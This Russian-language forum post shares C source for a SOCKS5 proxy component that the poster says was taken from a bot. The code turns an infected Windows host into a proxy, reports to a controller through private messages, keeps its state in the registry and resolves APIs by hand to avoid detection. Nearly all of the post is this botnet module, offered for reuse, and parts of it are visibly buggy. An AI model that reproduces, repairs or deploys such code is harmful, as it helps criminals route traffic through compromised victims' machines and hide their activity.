приведи в нормальное состояние. надеюсь ты понял что Socks5_Opt структуры тут нет, но она и не нужна в общем случае. и ещё тут API ф-ии с префиксами "_". потомучто у меня вручную адреса их находяться. ты можешь убрать эти _ только не спрашивай потом почему "я его скомпилил но появились ошибки" Code: #include <stdio.h> #include <winsock2.h> #include <windows.h> #include "InitAPI.h" // это все мое #include "RegSave.h" // тоже #include "Socks5.h" // ну там тоже Socks5_Opt Opt_Socks5; struct socks5_method_request { unsigned char version; unsigned char nmethods ; unsigned char methods[255]; }; typedef struct tag_socks5_method_response { unsigned char version; unsigned char method; } socks5_method_response; typedef struct tag_socks5_request { unsigned char version; unsigned char command; unsigned char reserved; unsigned char atype; DWORD addr; WORD port; } socks5_request; typedef struct tag_SOCKS4_REQUEST { unsigned char ucVersion; unsigned char ucCommand; WORD wDestPort; DWORD dwDestIp; } SOCKS4_REQUEST; #define _try int loop = 0; while(loop++ == 0) #define _leave break #define Cl_SendMessage(x) Client_SendMessage(x,Opt_Socks5.CLIENT) DWORD WINAPI Socks5HandlerTreadProc( LPVOID pParam ) { SOCKET s = (SOCKET)pParam; SOCKET tunnelSock = 0; int loop = 0; while (loop++ == 0 && Opt_Socks5.started) { int iConnectResult = 0; SOCKS4_REQUEST socks4Request, socks4Response; int iReceiveRes = 0, iSendRes = 0, iSelectRes = 0, iCtlRes = 0; SOCKADDR_IN remoteAddr = {0}; u_long ulVal = 1; int iBytesReceived = 0; fd_set fds_read; int iSocketsSet = 0; FD_ZERO( &fds_read ); FD_SET(s, &fds_read); TIMEVAL tv = {0}; tv.tv_sec = 30; char cSocksVersion = 0; int iSelectResult = _select(0, &fds_read, NULL, NULL, &tv); if (iSelectResult == SOCKET_ERROR || !iSelectResult) break; ulVal = 0; iCtlRes = _ioctlsocket(s, FIONBIO , &ulVal); iReceiveRes = _recv(s, &cSocksVersion, 1, MSG_PEEK); if (cSocksVersion == 5) { socks5_method_request s5method = {0}; socks5_method_response s5methodResponse = {0}; socks5_request s5Request = {0}; iReceiveRes = _recv(s, ((char*)&s5method.version), 1, 0); iReceiveRes = _recv(s, ((char*)&s5method.nmethods), 1, 0); iReceiveRes = _recv(s, ((char*)&s5method.nmethods), s5method.nmethods, 0); s5methodResponse.version = 5; s5methodResponse.method = 0; iSendRes = _send(s, (char*)&s5methodResponse, sizeof(s5methodResponse), 0); iReceiveRes = _recv(s, (char*)&s5Request, sizeof(s5Request), 0); if (s5Request.atype != 1){ s5Request.command = 8; iSendRes = _send(s, (char*)&s5Request, sizeof(s5Request), 0); break; } if (s5Request.command == 1) { remoteAddr.sin_family = AF_INET; memcpy(&(remoteAddr.sin_addr),&(s5Request.addr), sizeof(remoteAddr.sin_addr)); remoteAddr.sin_port = s5Request.port; tunnelSock = _socket(AF_INET, SOCK_STREAM, 0); iConnectResult = _connect(tunnelSock, (struct sockaddr*) &remoteAddr, sizeof(remoteAddr)); if (iConnectResult != SOCKET_ERROR) { s5Request.command = 0; iSendRes = _send(s, (char*)&s5Request, sizeof(s5Request), 0); } else { s5Request.command = 1; iSendRes = _send(s, (char*)&s5Request, sizeof(s5Request), 0); break; } } else break; } else break; ulVal = 0; iCtlRes = _ioctlsocket(tunnelSock, FIONBIO , &ulVal); iCtlRes = _ioctlsocket(s , FIONBIO , &ulVal); char swapBuffer[4096*16]; int iSendResult, i_recvResult; tv.tv_sec = 2; while (Opt_Socks5.started) { FD_ZERO(&fds_read); FD_SET(s, &fds_read); FD_SET(tunnelSock, &fds_read); iSocketsSet = _select(0, &fds_read, NULL, NULL, &tv); if (iSocketsSet > 0) { if (_WSAFDIsSet( s, &fds_read ) ) { i_recvResult = _recv(s, swapBuffer, sizeof(swapBuffer), MSG_PEEK); if (i_recvResult == 0) _leave; else i_recvResult = _recv(s, swapBuffer, sizeof(swapBuffer), 0); if (i_recvResult != SOCKET_ERROR && i_recvResult > 0 ) iSendResult = _send(tunnelSock, swapBuffer, i_recvResult, 0); else break; } if (_WSAFDIsSet(tunnelSock, &fds_read)){ i_recvResult = _recv(tunnelSock, swapBuffer, sizeof(swapBuffer), MSG_PEEK); if (i_recvResult == 0) break; else i_recvResult = _recv(tunnelSock, swapBuffer, sizeof(swapBuffer), 0); if (i_recvResult != SOCKET_ERROR && i_recvResult > 0 ) iSendResult = _send(s, swapBuffer, i_recvResult, 0); else break; } } } } if (s) _closesocket( s ); if (tunnelSock) _closesocket( tunnelSock ); return 0; } DWORD WINAPI Socks5_Thread( LPVOID port ) { DWORD dwThreadId; CLIENT_MESSAGE temp; sprintf( temp.to, "%s", Opt_Socks5.privmsg_to ); Opt_Socks5.s = _socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); if (Opt_Socks5.s == INVALID_SOCKET) { Opt_Socks5.started = 0; sprintf( temp.text, "SOCKS5: Couldnot create main socket" ); if (!Opt_Socks5.ignore_send) Cl_SendMessage( temp ); return 0; } SOCKADDR_IN sock5; sock5.sin_family = AF_INET; sock5.sin_port = _htons( (unsigned int)Opt_Socks5.port ); sock5.sin_addr.s_addr = INADDR_ANY; if (_bind( Opt_Socks5.s, (sockaddr*)&sock5, sizeof( sock5 ) ) == SOCKET_ERROR) { Opt_Socks5.started = 0; _closesocket( Opt_Socks5.s ); sprintf( temp.text, "SOCKS5: Couldnot bind main socket" ); if (!Opt_Socks5.ignore_send) Cl_SendMessage( temp ); return 0; } if (_listen( Opt_Socks5.s, 0xff ) == SOCKET_ERROR) return 0; sprintf( temp.text, "Socks5 started" ); if (!Opt_Socks5.ignore_send) Cl_SendMessage( temp ); /* save state */ Socks5_SaveState( TRUE, Opt_Socks5.port ); /* accept/createthread loop */ while (Opt_Socks5.started) _CreateThread( 0, 0, Socks5HandlerTreadProc, (LPVOID)_accept( Opt_Socks5.s, 0, 0 ), 0, &dwThreadId ); return 1; } /* start/stop functions */ int Socks5_StartThread( unsigned int port, char *privmsg_to, int CLIENT ) { DWORD dwThreadId; sprintf( Opt_Socks5.privmsg_to, "%s", privmsg_to ); if (Opt_Socks5.started) return 2; Opt_Socks5.ignore_send = ignore_send; Opt_Socks5.port = port; Opt_Socks5.started = 1; Opt_Socks5.CLIENT = CLIENT; Opt_Socks5.hSocks5Thread = _CreateThread( NULL, NULL, Socks5_Thread, NULL, NULL, &dwThreadId ); return 1; } int Socks5_StopThread( int savestate ) { if (!Opt_Socks5.started) return 2; Opt_Socks5.started = 0; _closesocket( Opt_Socks5.s ); _TerminateThread( Opt_Socks5.hSocks5Thread, 0 ); if (savestate) Socks5_SaveState( FALSE, 0 ); return 1; } int Socks5_GetStatus( void ) { return Opt_Socks5.started; } unsigned int Socks5_GetCurrentPort( void ) { return Opt_Socks5.port; } int Socks5_SaveState( BOOL started, unsigned int port ) { Reg_SaveValue( "socks5_state", &started, REG_DWORD ); if (port) Reg_SaveValue( "socks5_port", &port, REG_DWORD ); return 1; } вырвано из бота...